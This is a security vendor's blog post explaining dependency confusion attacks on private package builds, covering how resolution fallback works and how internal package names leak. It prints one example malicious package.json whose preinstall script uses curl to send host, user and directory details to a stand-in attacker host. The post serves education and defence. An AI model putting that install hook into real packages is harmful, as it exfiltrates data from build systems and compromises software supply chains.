ShieldReport
HomeWhat We CheckToolsWikiCompareRoadmapPricingBlogSign InRun Free Scan
Run Scan
HomeWhat We CheckToolsWikiCompareRoadmapPricingBlogSign In
1 February 20267 min read

Dependency Confusion: How Public Packages Hijack Private Builds

Dependency confusion exploits package manager behaviour to inject malicious code into private builds. Learn how this elegantly simple attack compromised Apple, Microsoft, and dozens of tech companies.

dependency confusionsupply chainnpmPyPIpackage security

Implementation Example

Use this as your remediation starting point

This animated snippet mirrors the style of fixes used in generated reports.

nginx

In 2021, security researcher Alex Birsan demonstrated an attack that compromised internal systems at Apple, Microsoft, PayPal, Shopify, Netflix, Tesla, and dozens of other companies. The technique required no phishing, no exploit code, and no insider access. He simply published public packages with the same names as the companies' internal packages — and their build systems installed them automatically.

How Dependency Confusion Works

Many organisations use private packages for internal libraries. These might be scoped as @company/auth-utils or unscoped as company-auth-utils on a private npm registry. The vulnerability lies in how package managers resolve names:

  1. When a package isn't found on the private registry, many configurations fall back to the public registry (npmjs.com, PyPI, etc.)
  2. When the same package name exists on both registries, some configurations prefer the higher version number regardless of source
  3. When installing without a lockfile or with an outdated one, the package manager fetches the latest version from whichever source resolves

An attacker who knows the name of an internal package publishes a public package with the same name and a higher version number. The next build pulls the attacker's package instead of the legitimate internal one.

How Attackers Discover Internal Package Names

Internal package names leak from multiple sources:

  • JavaScript source maps: Published applications often include source maps that reference internal module names in import paths.
  • Package.json files: Accidentally published or exposed in error messages, debug endpoints, or misconfigured servers.
  • GitHub repositories: Public repositories that reference private packages in their dependency files.
  • Job postings: Technical job descriptions that mention internal tooling and library names.
  • npm registry metadata: Scoped packages that were briefly published publicly before being made private leave traces.

The Payload Execution

Package managers execute lifecycle scripts during installation. npm runs preinstall, install, and postinstall scripts automatically. An attacker's package needs only a single line in its install script:

// package.json
{
  "name": "company-internal-utils",
  "version": "99.0.0",
  "scripts": {
    "preinstall": "curl https://attacker.com/collect?host=$(hostname)&user=$(whoami)&dir=$(pwd)"
  }
}

This runs in the CI/CD pipeline's context — with access to environment variables containing credentials, network access to internal services, and file system access to the source code being built.

The Scale of the Problem

Birsan's research found that the vulnerability affected virtually every organisation using private packages alongside public package managers. The attack works across ecosystems: npm, PyPI, RubyGems, NuGet, and Maven all have resolution behaviours that can be exploited. Some package managers have since added mitigations, but configuration remains the responsibility of each organisation.

Why It's Hard to Prevent

Dependency confusion sits at the intersection of package manager design, registry configuration, and build system setup:

  • Scoping packages (e.g., @company/package) helps on npm but isn't available on all ecosystems
  • Registry configurations must explicitly prevent public fallback — which breaks if any legitimate public dependency is needed
  • Lockfiles help but only if they're committed, up to date, and enforce integrity checks
  • New dependencies added by developers may not be properly scoped or pinned

The organisational challenge is that every developer who adds a dependency can inadvertently introduce the vulnerability. It's a systemic risk, not a one-time fix.

The Broader Supply Chain Context

Dependency confusion is one attack in the broader software supply chain threat landscape. Combined with typosquatting, maintainer account compromises, and malicious packages, the package ecosystem is a high-value target that directly impacts what code runs in your production environment — and by extension, what your users' browsers execute.

ShieldReport examines the external artifacts of your build process — the deployed application's security configuration, third-party script integrity, and infrastructure hardening — because supply chain security ultimately manifests in what's served to your users.

Related Reads

8 min read

Supply Chain Attacks: When the Code You Trust Turns Against You

8 min read

The Hidden Risk of Third-Party JavaScript on Your Website

8 min read

CI/CD Pipeline Attacks: When Your Build System Becomes the Vulnerability

Run Your Own Audit

Generate a developer-ready security report in under two minutes.

Try Free ScanView Sample Report
ShieldReport

Website security scanning and reporting for developers, teams, and agencies.

ShieldReport - Security reports done in minutes which developers understand | Product Hunt

Product

  • Free Security Scan
  • What We Check
  • Pricing
  • Sample Report

Resources

  • Security Blog
  • FAQ
  • Website Security Checklist
  • CSP Guide

Topics

  • Security Headers
  • TLS Configuration
  • OWASP Top 10
  • Vulnerability Scanning

© 2026 ShieldReport. All rights reserved.

Run Free ScanPricingBlogSitemapRSS Feed